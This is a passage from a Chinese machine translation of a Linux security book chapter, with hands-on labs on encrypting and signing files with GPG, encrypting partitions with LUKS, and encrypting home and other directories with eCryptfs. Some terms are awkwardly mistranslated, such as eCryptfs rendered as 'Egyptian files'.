-这是给 Ubuntu 的: - -```sh -sudo adduser maggie -sudo passwd maggie -``` - -2. 让我们加密一个超级机密文件,我们不能让它落入坏人之手: - -```sh -[donnie@localhost ~]$ gpg -c secret_squirrel_stuff.txt -[donnie@localhost ~]$ -``` - -请注意,`-c`选项表示我选择对文件使用带有密码的对称加密。您输入的密码将用于文件,而不是您的私钥。 - -3. 看看你的新文件集。这种方法的一个小缺陷是,GPG 制作了文件的加密副本,但也保留了原始的未加密文件: - -```sh -[donnie@localhost ~]$ ls -l - total 1748 - -rw-rw-r--. 1 donnie donnie 37 Oct 26 14:22 secret_squirrel_stuff.txt - -rw-rw-r--. 1 donnie donnie 94 Oct 26 14:22 - secret_squirrel_stuff.txt.gpg -[donnie@localhost ~]$ -``` - -4. 让我们用`shred`去掉那个未加密的文件。我们将使用`-u`选项删除文件,使用`-z`选项用零覆盖删除的文件: - -```sh -[donnie@localhost ~]$ shred -u -z secret_squirrel_stuff.txt -[donnie@localhost ~]$ -``` - -看起来好像什么都没发生,因为`shred`没有给你任何输出。但是`ls -l`会证明文件没了。 - -5. 现在,如果我用`less secret_squirrel_stuff.txt.gpg`查看加密文件,我将能够在被要求输入我的私钥密码后看到它的内容。自己试试这个: - -```sh -less secret_squirrel_stuff.txt.gpg - -Shhh!!!! This file is super-secret. -secret_squirrel_stuff.txt.gpg (END) -``` - -6. 只要我的私钥仍然加载到我的密钥环中,我就可以再次查看我的加密文件,而无需重新输入密码。现在,为了向您证明文件确实是加密的,我将创建一个共享目录,并将文件移动到那里供其他人访问。同样,继续尝试一下: - -```sh -sudo mkdir /shared -sudo chown donnie: /shared -sudo chmod 755 /shared -mv secret_squirrel_stuff.txt.gpg /shared -``` - -当我进入那个目录用`less`查看文件时,我仍然可以看到它的内容,而不必重新输入我的密码。 - -7. 但是现在,让我们看看当玛吉试图查看文件时会发生什么。使用`su - maggie`切换到她的账号,让她试试: - -```sh -su - maggie -cd /shared - -[maggie@localhost shared]$ less secret_squirrel_stuff.txt.gpg -"secret_squirrel_stuff.txt.gpg" may be a binary file. See it anyway? -``` - -无论如何,当她按下 *Y* 键查看时,她会得到以下信息: - -```sh -<8C>^M^D^C^C^B2=͈u<93>MОOy^O}Rg9<94>^W^E - <8D>(<98>æF^_8Q2bC^]#<90>H<90>< - C5>^S%X [ - ^@y+H'+v<84>Y<98>G֊ -secret_squirrel_stuff.txt.gpg (END) -``` - -可怜的玛吉真的很想看我的文件,但她只能看到加密的胡言乱语。 - -我刚才展示的是 GPG 的另一个优势。输入一次私钥密码后,您可以查看任何加密文件,而无需手动解密,也无需重新输入密码。使用其他对称文件加密工具,如`bcrypt`,如果不先手动解密,您将无法查看您的文件。 - -8. 但是现在假设您不再需要加密这个文件,并且您想要解密它以便让其他人看到它。通过输入`exit`退出玛吉的账户。然后,只需将`gpg`与`-d`选项一起使用: - -```sh -[maggie@localhost shared]$ exit - -[donnie@localhost shared]$ gpg -d secret_squirrel_stuff.txt.gpg - gpg: CAST5 encrypted data - gpg: encrypted with 1 passphrase - Shhh!!!! This file is super-secret. - gpg: WARNING: message was not integrity protected -[donnie@localhost shared]$ -``` - -`WARNING`关于消息未被完整性保护的消息意味着我已经对文件进行了加密,但我从未对文件进行签名。没有数字签名,有人可以在我不知道的情况下修改文件,我也无法证明我是文件的发起人。(不用担心,我们稍后将讨论签署文件。) - -# 动手实验-用公钥加密文件 - -在本实验中,您将了解如何使用 GPG 公钥加密来加密和共享文件: - -1. 首先,为 Frank 创建一个用户帐户,就像您在前面的实验中为 Maggie 所做的那样。 -2. 为你自己和弗兰克创建一个密钥集,正如我已经向你展示的那样。接下来,将自己的公钥提取到一个`ASCII`文本文件中。以弗兰克的身份登录,提取他的公钥: - -```sh -cd .gnupg -gpg --export -a -o donnie_public-key.txt -``` - -以弗兰克的身份登录,并为他重复此命令。 - -3. 通常,参与者会通过电子邮件附件或通过将密钥放在共享目录中的方式将密钥发送给对方。在这种情况下,您和 Frank 将接收对方的公钥文件,并将其放入各自的`.gnupg`目录中。完成后,导入彼此的密钥: - -```sh -donnie@ubuntu:~/.gnupg$ gpg --import frank_public-key.txt -gpg: key 4CFC6990: public key "Frank Siamese (I am a cat.) " imported -gpg: Total number processed: 1 -gpg: imported: 1 (RSA: 1) -donnie@ubuntu:~/.gnupg$ - -frank@ubuntu:~/.gnupg$ gpg --import donnie_public-key.txt -gpg: key 9FD7014B: public key "Donald A. Tevault " imported -gpg: Total number processed: 1 -gpg: imported: 1 (RSA: 1) -frank@ubuntu:~/.gnupg$ -``` - -4. 好的方面是。为 Frank 创建一个超机密消息,非对称加密(`-e`),然后签名(`-s`)。签署消息是验证消息确实来自您,而不是来自冒名顶替者: - -```sh -donnie@ubuntu:~$ gpg -s -e secret_stuff_for_frank.txt - -. . . -. . . -It is NOT certain that the key belongs to the person named -in the user ID. If you *really* know what you are doing, -you may answer the next question with yes. - -Use this key anyway? (y/N) y - -Current recipients: -2048R/CD8104F7 2017-10-27 "Frank Siamese (I am a cat.) " - -Enter the user ID. End with an empty line: -donnie@ubuntu:~$ -``` - -因此,您要做的第一件事是输入私钥的密码。在显示输入用户标识的地方,输入`frank`,因为他是你信息的预期接收者。但是看看后面的线,上面写着`There is no assurance this key belongs to the named user`。那是因为你还没有信任弗兰克的公钥。我们一会儿再谈。输出的最后一行再次表示输入一个用户标识,这样我们就可以指定多个收件人。但是弗兰克是你现在唯一关心的人,所以只要按下*进入*键就可以打破常规。这导致了你给弗兰克的信息的一个`.gpg`版本: - -```sh -donnie@ubuntu:~$ ls -l -total 8 -. . . --rw-rw-r-- 1 donnie donnie 143 Oct 27 18:37 secret_stuff_for_frank.txt --rw-rw-r-- 1 donnie donnie 790 Oct 27 18:39 secret_stuff_for_frank.txt.gpg -donnie@ubuntu:~$ -``` - -5. 你这边的最后一步是通过任何可用的方式向弗兰克发送他的加密消息文件。 -6. 当弗兰克收到他的信息时,他将使用`-d`选项查看: - -```sh -frank@ubuntu:~$ gpg -d secret_stuff_for_frank.txt.gpg -. . . -. . . -gpg: gpg-agent is not available in this session -gpg: encrypted with 2048-bit RSA key, ID CD8104F7, created 2017-10-27 - "Frank Siamese (I am a cat.) " -This is TOP SECRET stuff that only Frank can see!!!!! -If anyone else see it, it's the end of the world as we know it. -(With apologies to REM.) -gpg: Signature made Fri 27 Oct 2017 06:39:15 PM EDT using RSA key ID 9FD7014B -gpg: Good signature from "Donald A. Tevault " -gpg: WARNING: This key is not certified with a trusted signature! -gpg: There is no indication that the signature belongs to the owner. -Primary key fingerprint: DB0B 31B8 876D 9B2C 7F12 9FC3 886F 3357 9FD7 014B -frank@ubuntu:~$ -``` - -7. 弗兰克输入了他的私钥密码,他看到了消息。在底部,他看到了关于您的公钥不可信的警告,以及`There is no indication that the signature belongs to the owner`。假设你和弗兰克私下认识,他知道公钥确实是你的。然后,他会将您的公钥添加到信任列表中: - -```sh -frank@ubuntu:~$ cd .gnupg -frank@ubuntu:~/.gnupg$ gpg --edit-key donnie -gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc. -This is free software: you are free to change and redistribute it. -There is NO WARRANTY, to the extent permitted by law. -gpg: checking the trustdb -gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model -gpg: depth: 0 valid: 2 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 2u -pub 2048R/9FD7014B created: 2017-10-27 expires: never usage: SC - trust: ultimate validity: ultimate -sub 2048R/9625E7E9 created: 2017-10-27 expires: never usage: E -[ultimate] (1). Donald A. Tevault -gpg> - -``` - -8. 该输出的最后一行是`gpg` shell 的命令提示符。弗兰克关心的是信任,所以他会输入`trust`命令: - -```sh -gpg> trust -pub 2048R/9FD7014B created: 2017-10-27 expires: never usage: SC - trust: unknown validity: unknown -sub 2048R/9625E7E9 created: 2017-10-27 expires: never usage: E -[ unknown] (1). Donald A. Tevault -Please decide how far you trust this user to correctly verify other users' keys -(by looking at passports, checking fingerprints from different sources, etc.) - 1 = I don't know or won't say - 2 = I do NOT trust - 3 = I trust marginally - 4 = I trust fully - 5 = I trust ultimately - m = back to the main menu -Your decision? 5 -Do you really want to set this key to ultimate trust? (y/N) y -``` - -9. 弗兰克认识你有一段时间了,他知道你是送钥匙的人。所以,他选择了`5`选项来获得终极信任。一旦 Frank 注销并重新登录,该信任将生效: - -```sh -frank@ubuntu:~$ gpg -d secret_stuff_for_frank.txt.gpg - -You need a passphrase to unlock the secret key for -user: "Frank Siamese (I am a cat.) " -2048-bit RSA key, ID CD8104F7, created 2017-10-27 (main key ID 4CFC6990) - -gpg: gpg-agent is not available in this session -gpg: encrypted with 2048-bit RSA key, ID CD8104F7, created 2017-10-27 - "Frank Siamese (I am a cat.) " -This is TOP SECRET stuff that only Frank can see!!!!! -If anyone else see it, it's the end of the world as we know it. -(With apologies to REM.) -gpg: Signature made Fri 27 Oct 2017 06:39:15 PM EDT using RSA key ID 9FD7014B -gpg: Good signature from "Donald A. Tevault " -frank@ubuntu:~$ -``` - -10. 没有更多的警告消息,这看起来好多了。在你这边,用弗兰克的公钥做同样的事情。 - -As you can see in the screen output in *step 8*, you can assign the marginal, full, or ultimate trust level to someone else's public key. Space doesn't permit me to provide a full explanation of the trust levels, but you can read a rather colorful explanation here: PGP Web of Trust: Core Concepts Behind Trusted Communication — [https://www.linux.com/tutorials/pgp-web-trust-core-concepts-behind-trusted-communication/](https://www.linux.com/tutorials/pgp-web-trust-core-concepts-behind-trusted-communication/). - -这其中非常酷的一点是,即使全世界都可能拥有你的公钥,但对于任何不是你的指定收件人的人来说,它都是无用的。 - -On an Ubuntu machine, to get rid of the `gpg-agent is not available in this session` messages and to be able to cache your passphrase in the keyring, install the `gnupg-agent` package: - -`sudo apt install gnupg-agent` - -现在我们已经做到了这一点,让我们看看如何在没有加密的情况下对文件*进行签名。* - -# 动手实验–在没有加密的情况下签署文件 - -如果文件不是机密文件,但您仍然需要确保真实性和完整性,那么您只需在不加密的情况下签名即可: - -1. 为弗兰克创建一条未加密的消息,然后签名: - -```sh -donnie@ubuntu:~$ gpg -s not_secret_for_frank.txt - -You need a passphrase to unlock the secret key for -user: "Donald A. Tevault " -2048-bit RSA key, ID 9FD7014B, created 2017-10-27 - -gpg: gpg-agent is not available in this session -donnie@ubuntu:~$ ls -l -. . . --rw-rw-r-- 1 donnie donnie 40 Oct 27 19:30 not_secret_for_frank.txt --rw-rw-r-- 1 donnie donnie 381 Oct 27 19:31 not_secret_for_frank.txt.gpg -``` - -就像之前一样,这会创建文件的`.gpg`版本。 - -2. 把信息发给弗兰克。 -3. 以弗兰克的身份登录。让他试着用`less`打开它: - -```sh -frank@ubuntu:~$ less not_secret_for_frank.txt.gpg -"not_secret_for_frank.txt.gpg" may be a binary file. See it anyway? - -^A^Av^A<89><90>^M^C^@^B^A<88>o3W<9F>^AK^AFb^Xnot_secret_for_frank.txtYThis isn't secret, so I just signed it. -<89>^A^\^D^@^A^B^@^F^E^BY^@ -. . . -. . . -K^G<8E><90>d<8C>Aɱb<86><89>S<91>K<9E> -^@*x<9A>^] -not_secret_for_frank.txt.gpg (END) -``` - -4. 由于签名,这里有很多乱码,但是如果你仔细看,你会看到简单的、未加密的消息。让 Frank 使用`gpg`和`--verify`选项来验证签名确实属于您: - -```sh -frank@ubuntu:~$ gpg --verify not_secret_for_frank.txt.gpg -gpg: Signature made Fri 27 Oct 2017 07:31:12 PM EDT using RSA key ID 9FD7014B -gpg: Good signature from "Donald A. Tevault " -frank@ubuntu:~$ -``` - -这就结束了我们对加密单个文件的讨论。现在让我们看一下加密块设备和目录。 - -# 使用 Linux 统一密钥设置加密分区(LUKS) - -能够对单个文件进行加密可能很方便,但也是有意义的 - -* **块加密**:我们可以用这个来进行全磁盘加密,也可以加密单个分区。 -* **文件级加密**:我们可以用它来加密单个目录,而不必加密底层分区。 -* **容器化加密**:使用不附带任何 Linux 发行版的第三方软件,我们可以创建加密的跨平台容器,可以在 Linux、macOS 或 Windows 机器上打开。 - -**Linux 统一密钥设置** ( **LUKS** )属于第一类。几乎每个 Linux 发行版都内置了它,每个发行版的使用说明都是一样的。对于我们的演示,我将使用 CentOS 虚拟机,因为 LUKS 现在是红帽企业 Linux 7/8 和 CentOS 7/8 的默认加密机制。 - -You might be wondering if there's any performance impact with all of this disk encryption business. Well, with today's fast CPUs, not really. I run Fedora with full-disk encryption on a low-spec, Core i5 laptop, and other than having to enter the disk-encryption password when I first boot up, I don't even notice that encryption is taking place. - -好的,让我们看看在安装操作系统的同时加密磁盘。 - -# 操作系统安装期间的磁盘加密 - -当您安装红帽企业 Linux 7/8 或它们的一个后代时,您可以选择加密驱动器。您点击的所有内容: - -![](img/f1dbd075-67eb-45b5-b1b5-23bf2145aae2.png) - -除此之外,我只是让安装程序创建默认的分区方案,这意味着`/`文件系统和`swap`分区都将是加密的逻辑卷。(我一会儿会谈到这一点。) - -在继续安装之前,我必须创建一个密码来装载加密磁盘: - -![](img/dba7bb60-85c2-48f3-b14e-415f67a3e548.png) - -现在,每当我重新启动系统时,我都需要输入以下密码: - -![](img/cf6cca52-7569-4b10-a051-1d0d9071923b.png) - -一旦机器启动并运行,我就可以查看逻辑卷列表。我看到了`/`逻辑卷和`swap`逻辑卷: - -```sh -[donnie@localhost etc]$ sudo lvdisplay - --- Logical volume --- - LV Path /dev/centos/swap - LV Name swap - VG Name centos -. . . -. . . - - --- Logical volume --- - LV Path /dev/centos/root - LV Name root - VG Name centos -. . . -. . . -[donnie@localhost etc]$ -``` - -我可以查看物理卷的列表。其实列表中只有一个物理卷,被列为`luks`物理卷: - -```sh -[donnie@localhost etc]$ sudo pvdisplay - --- Physical volume --- - PV Name /dev/mapper/luks-2d7f02c7-864f-42ce-b362-50dd830d9772 - VG Name centos - PV Size <19.07 GiB / not usable 0 - Allocatable yes - PE Size 4.00 MiB - Total PE 4881 - Free PE 1 - Allocated PE 4880 - PV UUID V50E4d-jOCU-kVRn-67w9-5zwR-nbwg-4P725S - -[donnie@localhost etc]$ -``` - -这表明底层物理卷是加密的,这意味着`/`和`swap`逻辑卷也是加密的。这是一件好事,因为不加密交换空间(手动设置磁盘加密时的常见错误)会导致数据泄漏。 - -# 动手实验–使用 LUKS 添加加密分区 - -有时,您可能需要向现有机器添加另一个加密驱动器,或者加密便携式设备,如 u 盘。此过程适用于两种情况。按照以下步骤添加加密分区: - -1. 关闭您的 CentOS 虚拟机并添加另一个虚拟驱动器: - -![](img/49ad814e-77ed-4429-a308-ef3ad8806072.png) - -将驱动器容量提升至 20 GB,这将为您提供充足的空间: - -![](img/8e0e136e-932b-41f0-a609-43e46197e6fb.png) - -2. 重启机器后,你现在可以玩`/dev/sdb`驱动器了。下一步是创建一个分区。无论您创建的是新式的 GPT 分区还是老式的 MBR 分区,都没有关系。要创建一个 GPT 分区,我更喜欢的工具是`gdisk`,因为它与我非常熟悉和喜爱的旧的`fdisk`非常相似。唯一的问题是`gdisk`默认情况下不会安装在 CentOS 上。安装`gdisk`如下: - -```sh -On CentOS 7: -sudo yum install gdisk - -On CentOS 8: -sudo dnf install gdisk -``` - -3. 在`gdisk`中打开驱动器。将整个驱动器用于分区,并将分区类型设置为默认类型`8300`: - -```sh -sudo gdisk /dev/sdb -``` - -4. 查看您的新`/dev/sdb1`分区的详细信息: - -```sh -[donnie@localhost ~]$ sudo gdisk -l /dev/sdb -[sudo] password for donnie: -GPT fdisk (gdisk) version 0.8.6 - -Partition table scan: - MBR: protective - BSD: not present - APM: not present - GPT: present -. . . -. . . -[donnie@localhost ~]$ -``` - -5. 接下来,使用`cryptsetup`将分区转换为 LUKS 格式。在此命令中,`-v`表示详细模式,`-y`表示您必须输入两次密码才能正确验证。注意,当它说要全部大写输入`yes`时,它实际上是指大写输入: - -```sh -[donnie@localhost ~]$ sudo cryptsetup -v -y luksFormat /dev/sdb1 - -WARNING! -======== -This will overwrite data on /dev/sdb1 irrevocably. - -Are you sure? (Type uppercase yes): YES -Enter passphrase: -Verify passphrase: -Command successful. -[donnie@localhost ~]$ -``` - -6. 查看有关新加密分区的信息: - -```sh -[donnie@localhost ~]$ sudo cryptsetup luksDump /dev/sdb1 -LUKS header information for /dev/sdb1 - -Version: 1 -Cipher name: aes -Cipher mode: xts-plain64 -Hash spec: sha256 -. . . -. . . -``` - -输出内容比我在这里展示的要多得多,但你已经明白了。 - -7. 将分区映射到设备名称。你可以随便给这个设备起什么名字。现在,只需说出这一个`secrets`。我知道,这是个老掉牙的名字。在现实生活中,你不会想把你的秘密藏在哪里变得如此明显: - -```sh -[donnie@localhost ~]$ sudo cryptsetup luksOpen /dev/sdb1 secrets -Enter passphrase for /dev/sdb1: -[donnie@localhost ~]$ -``` - -8. 查看`/dev/mapper`目录。您将看到新的`secrets`设备被列为与`dm-3`设备的符号链接: - -```sh -[donnie@localhost mapper]$ pwd -/dev/mapper -[donnie@localhost mapper]$ ls -l se* -lrwxrwxrwx. 1 root root 7 Oct 28 17:39 secrets -> ../dm-3 -[donnie@localhost mapper]$ -``` - -9. 使用`dmsetup`查看新设备的信息: - -```sh -[donnie@localhost mapper]$ sudo dmsetup info secrets -[sudo] password for donnie: -Name: secrets -State: ACTIVE -Read Ahead: 8192 -Tables present: LIVE -Open count: 0 -Event number: 0 -Major, minor: 253, 3 -Number of targets: 1 -UUID: CRYPT-LUKS1-6cbdce1748d441a18f8e793c0fa7c389-secrets - -[donnie@localhost mapper]$ -``` - -10. 以通常的方式格式化分区。您可以使用红帽和 CentOS 支持的任何文件系统。但是由于系统上的其他所有内容都已经用 XFS 格式化了,所以这里也用它: - -```sh -[donnie@localhost ~]$ sudo mkfs.xfs /dev/mapper/secrets -meta-data=/dev/mapper/secrets isize=512 agcount=4, agsize=1374123 blks - = sectsz=512 attr=2, projid32bit=1 - = crc=1 finobt=0, sparse=0 -data = bsize=4096 blocks=5496491, imaxpct=25 - = sunit=0 swidth=0 blks -naming =version 2 bsize=4096 ascii-ci=0 ftype=1 -log =internal log bsize=4096 blocks=2683, version=2 - = sectsz=512 sunit=0 blks, lazy-count=1 -realtime =none extsz=4096 blocks=0, rtextents=0 -[donnie@localhost ~]$ -``` - -11. 创建装载点并装载加密分区: - -```sh -[donnie@localhost ~]$ sudo mkdir /secrets -[sudo] password for donnie: -[donnie@localhost ~]$ sudo mount /dev/mapper/secrets /secrets -[donnie@localhost ~]$ -``` - -12. 使用`mount`命令验证分区是否安装正确: - -```sh -[donnie@localhost ~]$ mount | grep 'secrets' -/dev/mapper/secrets on /secrets type xfs (rw,relatime,seclabel,attr2,inode64,noquota) -[donnie@localhost ~]$ -``` - -# 将 LUKS 分区配置为自动装载 - -唯一缺少的部分是配置系统在启动时自动挂载 LUKS 分区。为此,请配置两个不同的文件: - -* `/etc/crypttab` -* `/etc/fstab` - -如果您在安装操作系统时加密了`sda`驱动器,您将已经有一个包含该驱动器信息的`crypttab`文件。它看起来像这样: - -```sh -luks-2d7f02c7-864f-42ce-b362-50dd830d9772 UUID=2d7f02c7-864f-42ce-b362-50dd830d9772 none -``` - -前两个字段描述加密分区的名称和位置。第三个字段是加密密码。如果设置为`none`,就像这里一样,那么密码必须在启动时手动输入。 - -在`fstab`文件中,我们有实际挂载分区的条目: - -```sh -/dev/mapper/centos-root / xfs defaults,x-systemd.device-timeout=0 0 0 -UUID=9f9fbf9c-d046-44fc-a73e-ca854d0ca718 /boot xfs defaults 0 0 - -/dev/mapper/centos-swap swap swap defaults,x-systemd.device-timeout=0 0 0 -``` - -嗯,在这种情况下,实际上有两个条目,因为我们有两个逻辑卷,`/`和`swap`,在加密的物理卷之上。`UUID`行是`/boot`分区,这是驱动器中唯一没有加密的部分。现在,让我们添加新的加密分区,这样它也会自动挂载。 - -# 动手实验–将 LUKS 分区配置为自动装载 - -在本实验中,您将设置在上一个实验中创建的加密分区,以便在重新启动计算机时自动挂载: - -This is where it would be extremely helpful to remotely log in to your virtual machine from your desktop host machine. By using a GUI-type terminal, be it Terminal from a Linux or macOS machine or Cygwin from a Windows machine, you'll have the ability to perform copy-and-paste operations, which you won't have if you work directly from the virtual machine terminal. (Trust me, you don't want to be typing in those long UUIDs.) - -1. 第一步是获取加密分区的 UUID: - -```sh -[donnie@localhost etc]$ sudo cryptsetup luksUUID /dev/sdb1 -[sudo] password for donnie: -6cbdce17-48d4-41a1-8f8e-793c0fa7c389 -[donnie@localhost etc]$ -``` - -2. 复制 UUID 并将其粘贴到`/etc/crypttab`文件中。根据需要编辑或创建`cryptab`文件。另外,请注意,您将粘贴 UUID 两次。第一次在前面加上`luks-`,第二次在后面加上`UUID=`: - -```sh -luks-2d7f02c7-864f-42ce-b362-50dd830d9772 UUID=2d7f02c7-864f-42ce-b362-50dd830d9772 none -luks-6cbdce17-48d4-41a1-8f8e-793c0fa7c389 UUID=6cbdce17-48d4-41a1-8f8e-793c0fa7c389 none -``` - -3. 编辑`/etc/fstab`文件,为新的加密分区添加文件的最后一行。请注意,您必须再次使用`luks-`,后跟 UUID 号码: - -```sh -/dev/mapper/centos-root / xfs defaults,x-systemd.device-timeout=0 0 0 -UUID=9f9fbf9c-d046-44fc-a73e-ca854d0ca718 /boot xfs defaults 0 0 -/dev/mapper/centos-swap swap swap defaults,x-systemd.device-timeout=0 0 0 -/dev/mapper/luks-6cbdce17-48d4-41a1-8f8e-793c0fa7c389 /secrets xfs defaults 0 0 -``` - -When editing the `fstab` file for adding normal, unencrypted partitions, I always like to do `sudo mount -a` to check the `fstab` file for typos. That won't work with LUKS partitions though, because `mount` won't recognize the partition until the system reads in the `crypttab` file, and that won't happen until I reboot the machine. So, just be extra careful with editing `fstab` when adding LUKS partitions. - -4. 现在是真相大白的时候了。重启机器,看看是否一切正常。使用`mount`命令验证您的努力是否成功: - -```sh -[donnie@localhost ~]$ mount | grep 'secrets' -/dev/mapper/luks-6cbdce17-48d4-41a1-8f8e-793c0fa7c389 on /secrets type xfs (rw,relatime,seclabel,attr2,inode64,noquota) -[donnie@localhost ~]$ -``` - -5. 实验室结束。 - -Although it's possible to include passwords or keys in the `/etc/crypttab` file, my own preference is to not do so. If you must do so, be sure that the passwords or keys are stored on an encrypted `/` partition, for which you'll always have to enter a password upon boot-up. You can read more about that here: Store the passphrase of encrypted disk in `/etc/crypttab` encrypted: [https://askubuntu.com/questions/181518/store-the-passphrase-of-encrypted-disk-in-etc-crypttab-encrypted](https://askubuntu.com/questions/181518/store-the-passphrase-of-encrypted-disk-in-etc-crypttab-encrypted) - -现在我们已经看到了 LUKS,让我们继续讨论埃及文件。 - -# 用加密文件加密目录 - -加密整个分区很酷,但有时您可能只需要加密单个目录。为此,我们可以使用加密文件。为此,我们需要使用我们的 Ubuntu 机器,因为红帽和 CentOS 不再在其产品的 7 版或 8 版中包含加密文件。(它曾在红帽 6 和 CentOS 6 中出现,但在 7 或 8 版本中甚至不再提供安装。) - -# Ubuntu 安装期间的主目录和磁盘加密 - -当你安装 Ubuntu 服务器 16.04 时,你有两个加密。你将要 - -![](img/c584bd38-41a4-4141-9c56-2e4c49ec7701.png) - -此功能已从 Ubuntu 服务器 18.04 安装程序中删除。 - -在 Ubuntu 16.04 或 Ubuntu 18.04 的“分区磁盘”屏幕上,您将有机会为整个磁盘加密设置加密逻辑卷: - -![](img/bd3de3f5-322a-4265-b7ca-107013a55610.png) - -选择此选项后,系统会要求您输入密码: - -![](img/ad16ac9f-6a44-4d73-9619-2ae7de17f583.png) - -磁盘加密使用 LUKS,就像我们在 CentOS 机器上看到的一样。为了证明这一点,我们所要做的就是在`/etc`目录中寻找一个填充的`crypttab`文件: - -```sh -donnie@ubuntu3:~$ cd /etc -donnie@ubuntu3:/etc$ cat crypttab -sda5_crypt UUID=56190c2b-e46b-40a9-af3c-4cb26c4fe998 none luks,discard -cryptswap1 UUID=60661042-0dbd-4c2a-9cf9-7f02a73864ae /dev/urandom swap,offset=1024,cipher=aes-xts-plain64 -donnie@ubuntu3:/etc$ -``` - -Unlike Red Hat and CentOS, an Ubuntu machine will always have the `/etc/crypttab` file, even if there are no LUKS partitions. Without LUKS partitions, the file will be empty. - -Ubuntu 16.04 的主目录加密使用 eCryptfs,如`/home`目录中的`.ecryptfs`目录所示: - -```sh -donnie@ubuntu3:/home$ ls -la -total 16 -drwxr-xr-x 4 root root 4096 Oct 29 15:06 . -drwxr-xr-x 23 root root 4096 Oct 29 15:23 .. -drwx------ 3 donnie donnie 4096 Oct 29 15:29 donnie -drwxr-xr-x 3 root root 4096 Oct 29 15:06 .ecryptfs -donnie@ubuntu3:/home$ -``` - -如果您为 Ubuntu 16.04 选择这两个选项,您将在加密之上拥有加密,以实现双重保护。真的有这个必要吗?可能不会,但是选择加密我的`home`目录确保了它的访问权限被设置为更严格的`700`设置,而不是默认的`755`设置。但是,请注意,您现在创建的任何用户帐户都将在其`home`目录中拥有完全开放的权限设置,除非您使用加密选项创建用户帐户。还要注意,正如我所说的,在 Ubuntu 18.04 安装程序中,使用加密文件来加密你的`home`目录不再是一个选项。说到这里,让我们在下一个实验中进行一些实际操作,假设您的硬盘没有用 LUKS 加密。 - -# 动手实验–为新用户帐户加密主目录 - -在[第 2 章](02.html)*保护用户帐户*中,我向您展示了 Ubuntu 如何允许您在创建用户帐户时加密用户的主目录。回顾一下,让我们看看创建歌迪帐户的命令: - -1. 如果还没有完成,安装`ecryptfs-utils`包: - -```sh -sudo apt install ecryptfs-utils -``` - -2. 在 Ubuntu 虚拟机上,使用加密目录创建 Goldie 的帐户: - -```sh -sudo adduser --encrypt-home goldie -``` - -3. 让歌迪登录。让她`unwrap`自己的坐骑密码,写下来,存放在安全的地方。如果她需要恢复损坏的目录,她将需要它: - -```sh -ecryptfs-unwrap-passphrase .ecryptfs/wrapped-passphrase -``` - -当您使用`adduser --encrypt-home`时,新用户的`home`目录将被自动设置为一个限制性权限值,该值将除目录所有者之外的所有人排除在外。即使将`adduser.conf`文件设置保留为默认设置,这种情况也会发生。 - -# 在现有主目录中创建私有目录 - -假设您有这样的用户,不管出于什么奇怪的原因,他们不想加密他们的整个`home`目录,而想保留他们的`home`目录上的`755`权限设置,以便其他人可以访问他们的文件。但是他们也想要一个私人目录,只有他们才能访问。 - -任何用户都可以在自己的`home`目录内创建一个加密的私有目录,而不是加密整个`home`目录。让我们来看看: - -1. 如果还没有完成,安装`ecryptfs-utils`包: - -```sh -sudo apt install ecryptfs-utils -``` - -要创建这个私有目录,请使用交互式`ecryptfs-setup-private`实用程序。如果您有管理员权限,您可以为其他用户执行此操作。没有管理员权限的用户可以自己操作。对于我们的演示,假设查理,我的大暹罗/灰色斑猫,需要他自己的加密私人空间。(谁知道猫有秘密,对吧?) - -2. 以正常方式创建查理的帐户,*没有*加密的`home`目录选项。 -3. 然后,以查理的身份登录,让他创建自己的私有目录: - -```sh -charlie@ubuntu2:~$ ecryptfs-setup-private -Enter your login passphrase [charlie]: -Enter your mount passphrase [leave blank to generate one]: -Enter your mount passphrase (again): - -************************************************************************ -YOU SHOULD RECORD YOUR MOUNT PASSPHRASE AND STORE IT IN A SAFE LOCATION. - ecryptfs-unwrap-passphrase ~/.ecryptfs/wrapped-passphrase -THIS WILL BE REQUIRED IF YOU NEED TO RECOVER YOUR DATA AT A LATER TIME. -************************************************************************ -. . . -. . . -charlie@ubuntu2:~$ -``` - -4. 对于`login`密码短语,查理输入他的正常密码或密码短语以登录到他的用户帐户。他本可以让系统生成自己的`mount`密码,但他决定输入自己的密码。因为他确实输入了自己的坐骑密码,所以他不需要执行`ecryptfs-unwrap-passphrase`命令来找出密码是什么。但是,为了展示这个命令是如何工作的,假设查理输入了`TurkeyLips`作为他的挂载密码: - -```sh -charlie@ubuntu2:~$ ecryptfs-unwrap-passphrase .ecryptfs/wrapped-passphrase -Passphrase: -TurkeyLips -charlie@ubuntu2:~$ -``` - -是的,这是一个非常弱的密码短语,但对于我们的演示目的来说,它是有效的。 - -5. 让查理注销,然后重新登录。之后,他可以开始使用他的新私人目录。同样,你可以看到他的`home`目录中有三个新的隐藏目录。所有这三个新目录只有查理可以访问,尽管他的顶级`home`目录仍然对所有人开放: - -```sh -charlie@ubuntu2:~$ ls -la -total 40 -drwxr-xr-x 6 charlie charlie 4096 Oct 30 17:00 . -drwxr-xr-x 4 root root 4096 Oct 30 16:38 .. --rw------- 1 charlie charlie 270 Oct 30 17:00 .bash_history --rw-r--r-- 1 charlie charlie 220 Aug 31 2015 .bash_logout --rw-r--r-- 1 charlie charlie 3771 Aug 31 2015 .bashrc -drwx------ 2 charlie charlie 4096 Oct 30 16:39 .cache -drwx------ 2 charlie charlie 4096 Oct 30 16:57 .ecryptfs -drwx------ 2 charlie charlie 4096 Oct 30 16:57 Private -drwx------ 2 charlie charlie 4096 Oct 30 16:57 .Private --rw-r--r-- 1 charlie charlie 655 May 16 08:49 .profile -charlie@ubuntu2:~$ -``` - -6. 在`/etc/pam.d`目录下运行`grep 'ecryptfs' *`命令。您将看到 PAM 被配置为每当用户登录到系统时自动挂载用户的加密目录: - -```sh -donnie@ubuntu2:/etc/pam.d$ grep 'ecryptfs' * -common-auth:auth optional pam_ecryptfs.so unwrap -common-password:password optional pam_ecryptfs.so -common-session:session optional pam_ecryptfs.so unwrap -common-session-noninteractive:session optional pam_ecryptfs.so unwrap -donnie@ubuntu2:/etc/pam.d$ -``` - -7. 实验室结束。 - -那好吧。我们现在知道如何加密用户的主目录。现在,让我们看看如何加密其他目录。 - -# 动手实验–用加密文件加密其他目录 - -加密其他目录很简单,只需用`ecryptfs`文件系统装载它们: - -1. 在文件系统的顶层创建一个`secrets`目录,并对其进行加密。请注意如何列出目录名两次,因为您还需要指定一个装载点。本质上,您使用要装载的目录作为自己的装载点: - -```sh -sudo mkdir /secrets -sudo mount -t ecryptfs /secrets /secrets -``` - -2. 